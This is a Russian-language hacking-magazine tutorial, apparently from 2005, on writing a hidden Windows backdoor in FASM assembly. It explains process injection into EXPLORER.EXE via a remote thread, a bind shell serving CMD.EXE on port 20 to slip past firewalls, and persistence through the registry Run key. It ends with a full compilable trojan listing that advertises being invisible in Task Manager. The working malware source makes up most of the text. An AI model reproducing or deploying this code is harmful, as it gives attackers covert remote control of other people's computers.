Я не хвалюсь тем, чего у меня нет, — сказал он,
— и не выдаю себя за знатока морского дела и судоходства

Д.Ф.Купер

 

Если не все, то многие встречались с бэкдорами и троянскими конями. Сейчас
атрибутом почти каждого троянского коня стала расширенная функциональность. И
если раньше, когда в основном были распространены операционные системы
Windows 9x, было достаточно просто скрыть процесс от глаз пользователя, то
сейчас это стало достаточно сложно. В последнее время широкое распространение
получили операционные системы линейки Windows NT. Данные системы отличаются
гораздо болеё серьёзной защитой , отличающейся от защиты Windows 9x на порядки. Большинство пользователей считает, что от зоркого ока Task Managera не
спрячется ни один процесс. Но это истина лишь отчасти, возможен перехват
системной функции, которую использует Task Manager. Это позволит подменить
её результаты, например убрать сведения об одном из процессов. Но и это не
всё, возможно инжектирование кода в другой процесс. Данная техника убивает
двух зайцев одним ударом. Давайте разберёмся с этой техникой поподробнее,
помимо сокрытия процесса (по сути, как такового процесса и нет вовсе) данная
техника позволяет обойти брандмауэр. Каким образом? Достаточно инжектировать
код в процесс, для которого созданы политики безопасности и воспользоваться
данными политиками. Вот например, для Internet Explorer разрешены порты,
где-то в районе 30000 тысяч. Если в него инжектироваться и открыть порт
скажем 26384, то firewall покорно промолчит. Но как быть если Internet Explorer
не запущен? Не ждать же нам, пока его запустят. Поэтому мы инжектируем наш код
в процесс EXPLORER.EXE и откроем 20 порт, этот порт для данного процесса
разрешён и зарегистрирован как ftp-data. Это канал данных для протокола передачи
файлов. Теперь давайте перейдём к практическим аспектам, давайте определимся,
как мы будем инжектировать код в наш процесс. Я это сделал при помощи выделения
памяти в адресном пространстве EXPLORER.EXE и создания удалённого потока.
Первое, что нужно сделать для того, чтобы инжектировать код в процесс это
открыть наш процесс. А открывать мы его будем функцие WIN API
OpenProcess. Данной функции в качестве параметра передается ПИД (PID) открываемого процесса,
идентификатор. Чтобы узнать ПИД процесса существует несколько методов:

1) С помощью библиотеки Process Status Helper (PSAPI)
2) С помощью ToolHelp32 API
3) С помощью недокументированной функции ZwQuerySystemInformation
4) Через счетчики производительности
5) С использованием интерфейсов Windows Management Instrumentation

Task Manager получает сведения о процессах от функции
ZwQuerySystemInformation. Мы же будем использовать документированные функции ToolHelp32
API. Для получения ПИДа EXPLORER.EXE нам нужно вначале сделать снимок системы, и
после этого перебирать процессы (подобно тому, как это делается с файлами при
помощи функций FindFirstFile и FindNextFile).

Рассмотрим, как это делается на примере функции на ассемблере:

proc find_pid  Ищем ПИД
push 0 
push 2  Делаем снимок системы
call [CreateToolhelp32Snapshot]
inc eax 
test eax,eax  Ошибка?
jz .exit__  Выходим
dec eax 
mov [snapshot__],eax  Сохраняем хэндл
mov [p_entry.dwSize],sizeof.PROCESSENTRY32
push p_entry 
push [snapshot__]  Получаем информацию о
call [Process32First]  первом процессе
test eax,eax  Ошибка?
jz .exit__  Выходим
jmp .cmp__  Идём на сравнение
.p_next__:
mov [p_entry.dwSize],sizeof.PROCESSENTRY32
push p_entry 
push [snapshot__]  Получаем информацию о
call [Process32Next]  следующем процессе
test eax,eax  Ошибка?
jz .exit__  Выходим
.cmp__:
push p_entry.szExeFile 
push proga__  Это EXPLORER.EXE?
call [lstrcmp] 
test eax,eax 
jz .find_it__  Да, нашли
jmp .p_next__  Нет, ищем дальше
.find_it__:
mov eax,[p_entry.th32ProcessID]
mov [pid],eax  Сохраняем ПИД
push [snapshot__] 
call [CloseHandle]  Закрываем хэндл
.exit__:
ret  Возврат из подпрограммы
endp

Здесь и далее в тексте используется FLAT ASSEMBLER (fasm 1.57), для компиляции
достаточно будет вставить код в его редактор и нажать комбинацию клавиш CTRL+F9.

Далее, после получения ПИДа процесса нужно открыть его, выделить в нём память,
записать в память код и передать на него управление. Рихтер в своей книге описал
этот метод достаточно подробно, но он передавал в чужое
адресное пространство не код, а имя библиотеки и загружал её LoadLibrary. Но этот метод нам не
подходит по 2-м причинам:

1) Необходимость 2-х файлов *.exe и *.dll, что не очень удобно (можно было бы конечно их склеить а потом «откусить» *.dll)

2) В адресном пространстве была бы видна неизвестная *.dll , а сейчас
filrewall’ы этого очень не любят.

Теперь рассмотрим подпрограмму инжектирования кода в
EXPLORER.EXE:

proc inject_code  Инжектируем код
push [pid] 
push 0 
push access__  Открываем EXPLORER.EXE
call [OpenProcess] 
test eax,eax  Открыли?
jz .exit__  Нет, на выход
mov [process__],eax  Сохраняем хэндл процесса
push PAGE_READWRITE 
push MEM_COMMIT 
push 0x1000  Выделяем в адресном
push 0  пространстве EXPLORER.EXE
push [process__]  тысячу байт памяти
call [VirtualAllocEx] 
test eax,eax  Выделили?
jz .exit__  Нет, на выход
mov [memory__],eax  Сохраняем хэндл памяти
push 0 
push 0x1000 
push backdoor_code_  Пишем в выделенную память
push [memory__]  наш код
push [process__] 
call [WriteProcessMemory] 
dec eax 
test eax,eax  Записали успешно?
jnz .exit__  Нет, на выход
inc eax  Да, работаем дальше
push 0 
push 0 
push [memory__] 
push [memory__]  Создаём удалённый поток
push 0  в EXPLORER.EXE
push 0  указывая на наш код
push [process__] 
call [CreateRemoteThread] 
.exit__:
push [process__] 
call [CloseHandle]  Закрываем хэндл
ret  Возврат из подпрограммы
endp

Но у Рихтера после инжектирования *.dll не возникало никаких проблем,
потому что в *.dll содержится таблица перемещаемых элементов и все переходы по
ней правятся и работают. А нам придется создать переносимый код, почти как у
вируса. Но в отличии от вируса мы можем позволить себе просто сохранить в нашем
коде адреса необходимых функций. Потому как они перенастраиваются после каждого
запуска программы (загрузчиком), в разделе импорта.

Рассмотрим код, который отвечает за сохранение адресов функций WIN
API:

proc resolve_api  Сохраняем адреса API
mov eax,[WSAStartup]  Получаем адрес функции
mov [wsa_startup],eax  и сохраняем его в коде
mov eax,[WSASocket]  Получаем адрес функции
mov [wsa_socketa],eax  и сохраняем его в коде
mov eax,[bind]  Получаем адрес функции
mov [bind_],eax  и сохраняем его в коде
mov eax,[listen]  Получаем адрес функции
mov [listen_],eax  и сохраняем его в коде
mov eax,[accept]  Получаем адрес функции
mov [accept_],eax  и сохраняем его в коде
mov eax,[CreateProcess]  Получаем адрес функции
mov [create_process_],eax  и сохраняем его в коде
mov eax,[CloseHandle]  Получаем адрес функции
mov [close_handle_],eax  и сохраняем его в коде
mov eax,[LoadLibrary]  Получаем адрес функции
mov [loadlibrary_],eax  и сохраняем его в коде
mov eax,[closesocket]  Получаем адрес функции
mov [close_socket_],eax  и сохраняем его в коде
ret  Возврат из подпрограммы
endp

Теперь перейдём к реализации самого инжектируемого кода, он создаётся
следующим образом. Вначале доступ к всем используемым данным перенастраивается,
через дельта смещение. Сами WIN API функции будут вызываться следующим образом:

mov eax, Адрес_функции
call eax

Сам алгоритм бэкдора следующий: инициализируем сокеты, создаём сокет,
привязываем его к 20 порту, после этого ждём соединения. Когда соединились
создаётся процесс CMD.EXE с перенаправленным вводом и выводом на сокет, после
завершения процесса закрываем соединение и всё повторяем заново. Это для того,
чтобы наш бэкдор не получился одноразовым.

Рассмотрим инжектируемый код:

backdoor_code_:
call deltax 
deltax: pop ebp   Получаем дельта смещение
sub ebp,deltax 
lea eax,[ebp+ws2_32_2] 
push eax   Загружаем библиотеку
db 0xb8   WS2_32.DLL(на всякий случай)
loadlibrary_ dd 0   Место где хранится адрес
call eax 
lea eax,[ebp+wsadata1] 
push eax 
push 0x101   Вызываем функцию
db 0xb8   WSAStartup
wsa_startup dd 0 
call eax 
mov [ebp+sin.sin_family],2   AF_INET
mov eax,[ebp+n_port] 
bswap eax   Преобразовываем номер
shr eax,16   порта к сетевому виду
mov [ebp+sin.sin_port],ax   Заполняем структуру sin
push 0 
push 0 
push 0 
push 0 
push 1 
push 2 
db 0xb8 
wsa_socketa dd 0   Создаём сокет
call eax 
mov ebx,eax   Сохраняем его для
mov [ebp+socket__],eax   дальнейшего использования
push 16 
lea eax,[ebp+sin] 
push eax 
push ebx 
db 0xb8 
bind_ dd 0   Биндим сокет
call eax 
push 0 
push ebx 
db 0xb8 
listen_ dd 0   Переводим сокет в слушающий
call eax   режим
push 0 
push ecx 
push ebx 
db 0xb8 
accept_ dd 0   Ждём соединения
call eax 
mov [ebp+handle_],eax   Сохраняем хэндл соединения
 Заполняем структуру
STARTUP_INFO
mov [ebp+s_info.dwFlags],flags__
mov [ebp+s_info.wShowWindow],SW_HIDE
mov [ebp+s_info.hStdInput],eax
mov [ebp+s_info.hStdOutput],eax
mov [ebp+s_info.hStdError],eax
lea eax,[ebp+s_info]   Адрес структуры в eax
push eax 
push eax 
xor ecx,ecx 
push ecx 
push ecx 
push ecx 
push 1 
push ecx 
push ecx 
lea eax,[ebp+cmd__] 
push eax   Создаём процесс без окна
push 0   и с перенаправленным выводом
на
db 0xb8   сокет
create_process_ dd 0   Процесс CMD.EXE 🙂
call eax 
push [ebp+handle_] 
db 0xb8 
close_handle_ dd 0   Закрываем хэндл соединения
call eax 
push [ebp+socket__] 
db 0xb8 
close_socket_ dd 0   Закрываем сокет
call eax 
lea edi,[s_info+ebp] 
mov al,0 
mov ecx,sizeof.STARTUPINFO   Очищаем структуру
rep stosb   STARTUPINFO
jmp backdoor_code_   И повторяем всё до
 бесконечности

Но, как же код запустится после перезагрузки или после крушения
EXPLORER.EXE? Здесь, увы, я пока что новинками поделиться не могу, всё делается через классику
жанра — запись в реестре в ключик автозапуска.

Рассмотрим функцию инфицирования системы:

proc infect_system   Инфицируем систему
push 255 
push old_dir 
push 0   Узнаём своё имя файла
call [GetModuleFileName]   из которого стартовали
push 255 
push win_dir   Получаем имя директории
call [GetWindowsDirectory]   Windows
mov edx,win_dir 
mov dword [edx+eax],’\mem’   Формируем строку с полным
mov dword [edx+eax+4],’srvc’  путём к Windows
mov dword [edx+eax+8],’.exe’  и именем файла
push 0 
push win_dir 
push old_dir   Копируем себя в Windows
call [CopyFile]   директорию
xor eax,eax 
push tmp 
push h_key 
push eax 
push 3 
push eax 
push eax 
push eax   Открываем ключ реестра
push reg__   отвечающий за автозагрузку
push 80000002h 
call [RegCreateKeyEx] 
push 256 
push win_dir 
push 1 
push 0 
push reg2__   Устанавливаем значение
push [h_key]   в этом ключе на нашу
call [RegSetValueEx]   программу
push [h_key] 
call [RegCloseKey]   Закрываем ключ
ret   Возврат из подпрограммы
endp

Нужно заметить, что данный бэкдор на некоторых версиях Windows 2000 не работает,
по всей видимости из-за перенаправления ввода и вывода на сокет.

Далее идёт полный листинг троянского коня, которого достаточно сложно
обнаружить.

;%%%%%%%%%%%%%%%%%%%%%%%;
; WIN(XP/2k3).BACKDOOR.ABYRVALG V. 0.1 
; (x) 2005 СЛОН http://sl0n.dzena.net ;

; (+) Не виден в списке задач ;
; (+) Обходит брандмауэры ;
; (+) Прописывается в регистре и поселяется в директории Windows ;
; (+) Открывает CMD.EXE на 20 порту из процесса EXPLORER.EXE ;
;%%%%%%%%%%%%%%%%%%%%%%%;

include ‘%fasminc%/win32ax.inc’ 
include ‘struct.inc’ 
.data 
start:
call infect_system   Инфицируем систему
call resolve_api   Сохраняем адреса API
call find_pid   Ищем ПИД
call inject_code   Инжектируем код
push 0 
call [ExitProcess]   Завершение программы
proc infect_system   Инфицируем систему
push 255 
push old_dir 
push 0   Узнаём своё имя файла
call [GetModuleFileName]   из которого стартовали
push 255 
push win_dir   Получаем имя директории
call [GetWindowsDirectory]   Windows
mov edx,win_dir 
mov dword [edx+eax],’\mem’   Формируем строку с полным
mov dword [edx+eax+4],’srvc’  путём к Windows
mov dword [edx+eax+8],’.exe’  и именем файла
push 0 
push win_dir 
push old_dir   Копируем себя в Windows
call [CopyFile]   директорию
xor eax,eax 
push tmp 
push h_key 
push eax 
push 3 
push eax 
push eax 
push eax   Открываем ключ реестра
push reg__   отвечающий за автозагрузку
push 80000002h 
call [RegCreateKeyEx] 
push 256 
push win_dir 
push 1 
push 0 
push reg2__   Устанавливаем значение
push [h_key]   в этом ключе на нашу
call [RegSetValueEx]   программу
push [h_key] 
call [RegCloseKey]   Закрываем ключ
ret   Возврат из подпрограммы
endp
proc resolve_api   Сохраняем адреса API
mov eax,[WSAStartup]   Получаем адрес функции
mov [wsa_startup],eax   и сохраняем его в коде
mov eax,[WSASocket]   Получаем адрес функции
mov [wsa_socketa],eax   и сохраняем его в коде
mov eax,[bind]   Получаем адрес функции
mov [bind_],eax   и сохраняем его в коде
mov eax,[listen]   Получаем адрес функции
mov [listen_],eax   и сохраняем его в коде
mov eax,[accept]   Получаем адрес функции
mov [accept_],eax   и сохраняем его в коде
mov eax,[CreateProcess]   Получаем адрес функции
mov [create_process_],eax   и сохраняем его в коде
mov eax,[CloseHandle]   Получаем адрес функции
mov [close_handle_],eax   и сохраняем его в коде
mov eax,[LoadLibrary]   Получаем адрес функции
mov [loadlibrary_],eax   и сохраняем его в коде
mov eax,[closesocket]   Получаем адрес функции
mov [close_socket_],eax   и сохраняем его в коде
ret   Возврат из подпрограммы
endp
proc find_pid   Ищем ПИД
push 0 
push 2   Делаем снимок системы
call [CreateToolhelp32Snapshot]
inc eax 
test eax,eax   Ошибка?
jz .exit__   Выходим
dec eax 
mov [snapshot__],eax   Сохраняем хэндл
mov [p_entry.dwSize],
sizeof.PROCESSENTRY32
push p_entry 
push [snapshot__]   Получаем информацию о
call [Process32First]   первом процессе
test eax,eax   Ошибка?
jz .exit__   Выходим
jmp .cmp__   Идём на сравнение
.p_next__:
mov [p_entry.dwSize],
sizeof.PROCESSENTRY32
push p_entry 
push [snapshot__]   Получаем информацию о
call [Process32Next]   следующем процессе
test eax,eax   Ошибка?
jz .exit__   Выходим
.cmp__:
push p_entry.szExeFile 
push proga__   Это EXPLORER.EXE?
call [lstrcmp] 
test eax,eax 
jz .find_it__   Да, нашли
jmp .p_next__   Нет, ищем дальше
.find_it__:
mov eax,[p_entry.th32ProcessID]
mov [pid],eax   Сохраняем ПИД
push [snapshot__] 
call [CloseHandle]   Закрываем хэндл
.exit__:
ret   Возврат из подпрограммы
endp
proc inject_code   Инжектируем код
push [pid] 
push 0 
push access__   Открываем EXPLORER.EXE
call [OpenProcess] 
test eax,eax   Открыли?
jz .exit__   Нет, на выход
mov [process__],eax   Сохраняем хэндл процесса
push PAGE_READWRITE 
push MEM_COMMIT 
push 0x1000   Выделяем в адрессном
push 0   пространстве EXPLORER.EXE
push [process__]   тысячу байт памяти
call [VirtualAllocEx] 
test eax,eax   Выделили?
jz .exit__   Нет, на выход
mov [memory__],eax   Сохраняем хэндл памяти
push 0 
push 0x1000 
push backdoor_code_   Пишем в выделенную память
push [memory__]   наш код
push [process__] 
call [WriteProcessMemory] 
dec eax 
test eax,eax   Записали успешно?
jnz .exit__   Нет, на выход
inc eax   Да, работаем дальше
push 0 
push 0 
push [memory__] 
push [memory__]   Создаём удалённый поток
push 0   в EXPLORER.EXE
push 0   указывая на наш код
push [process__] 
call [CreateRemoteThread] 
.exit__:
push [process__] 
call [CloseHandle]   Закрываем хэндл
ret   Возврат из подпрограммы
endp
backdoor_code_:
call deltax 
deltax: pop ebp   Получаем дельта смещение
sub ebp,deltax 
lea eax,[ebp+ws2_32_2] 
push eax   Загружаем библиотеку
db 0xb8   WS2_32.DLL(на всякий случай)
loadlibrary_ dd 0   Место где хранится адрес
call eax 
lea eax,[ebp+wsadata1] 
push eax 
push 0x101   Вызываем функцию
db 0xb8   WSAStartup
wsa_startup dd 0 
call eax 
mov [ebp+sin.sin_family],2   AF_INET
mov eax,[ebp+n_port] 
bswap eax   Преобразовываем номер
shr eax,16   порта к сетевому виду
mov [ebp+sin.sin_port],ax   Заполняем структуру sin
push 0 
push 0 
push 0 
push 0 
push 1 
push 2 
db 0xb8 
wsa_socketa dd 0   Создаём сокет
call eax 
mov ebx,eax   Сохраняем его для
mov [ebp+socket__],eax   дальнейшего использования
push 16 
lea eax,[ebp+sin] 
push eax 
push ebx 
db 0xb8 
bind_ dd 0   Биндим сокет
call eax 
push 0 
push ebx 
db 0xb8 
listen_ dd 0   Переводим сокет в слушающий
call eax   режим
push 0 
push ecx 
push ebx 
db 0xb8 
accept_ dd 0   Ждём соединения
call eax 
mov [ebp+handle_],eax   Сохраняем хэндл соединения
 Заполняем структуру
STARTUP_INFO
mov [ebp+s_info.dwFlags],flags__
mov [ebp+s_info.wShowWindow],
SW_HIDE
mov [ebp+s_info.hStdInput],eax
mov [ebp+s_info.hStdOutput],eax
mov [ebp+s_info.hStdError],eax
lea eax,[ebp+s_info]   Адрес структуры в eax
push eax 
push eax 
xor ecx,ecx 
push ecx 
push ecx 
push ecx 
push 1 
push ecx 
push ecx 
lea eax,[ebp+cmd__] 
push eax   Создаём процесс без окна
push 0   и с перенаправленным выводом
на
db 0xb8   сокет
create_process_ dd 0   Процесс CMD.EXE 🙂
call eax 
push [ebp+handle_] 
db 0xb8 
close_handle_ dd 0   Закрываем хэндл соединения
call eax 
push [ebp+socket__] 
db 0xb8 
close_socket_ dd 0   Закрываем сокет
call eax 
lea edi,[s_info+ebp] 
mov al,0 
mov ecx,sizeof.STARTUPINFO   Очищаем структуру
rep stosb   STARTUPINFO
jmp backdoor_code_   И повторяем всё до
 бесконечности
wsadata1 WSADATA 
sin sockaddr_in 
handle_ dd 0 
mhandle2 dd 0 
s_info STARTUPINFO   Здесь хранятся данные
cmd__ db ‘cmd’,0 
socket__ dd 0 
ws2_32_2 db ‘ws2_32.dll’,0 
n_port dd 20 
backdoor_end:
access__ = PROCESS_VM_OPERATION + 
PROCESS_VM_WRITE + PROCESS_CREATE_THREAD
flags__ = STARTF_USESTDHANDLES+
STARTF_USESHOWWINDOW
process__ dd ? 
memory__ dd ? 
thread__ dd ? 
snapshot__ dd ?   Здесь тоже данные 🙂
p_entry PROCESSENTRY32 
proga__ db ‘EXPLORER.EXE’,0 
pid dd 0 
tmp dd 0 
h_key dd 0 
win_dir: times 255 db 0
old_dir: times 255 db 0
reg__:
db ‘SOFTWARE\Microsoft\Windows
\CurrentVersion\Run
‘,0
reg2__:
db ‘MemSrvc’,0 
.end start

Программы данного класса, получили широкое распространение не только у хакеров,
но и у системных администраторов, которые незримо следят за нерадивыми
пользователями. Так же, некоторые разновидности программ этого рода встречаются
в Интернет кафе. Поэтому, чтобы не попасться под «горячую» руку вашем системному
администратору, обновляйте как можно чаще ваши firewall и антивирусы.

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …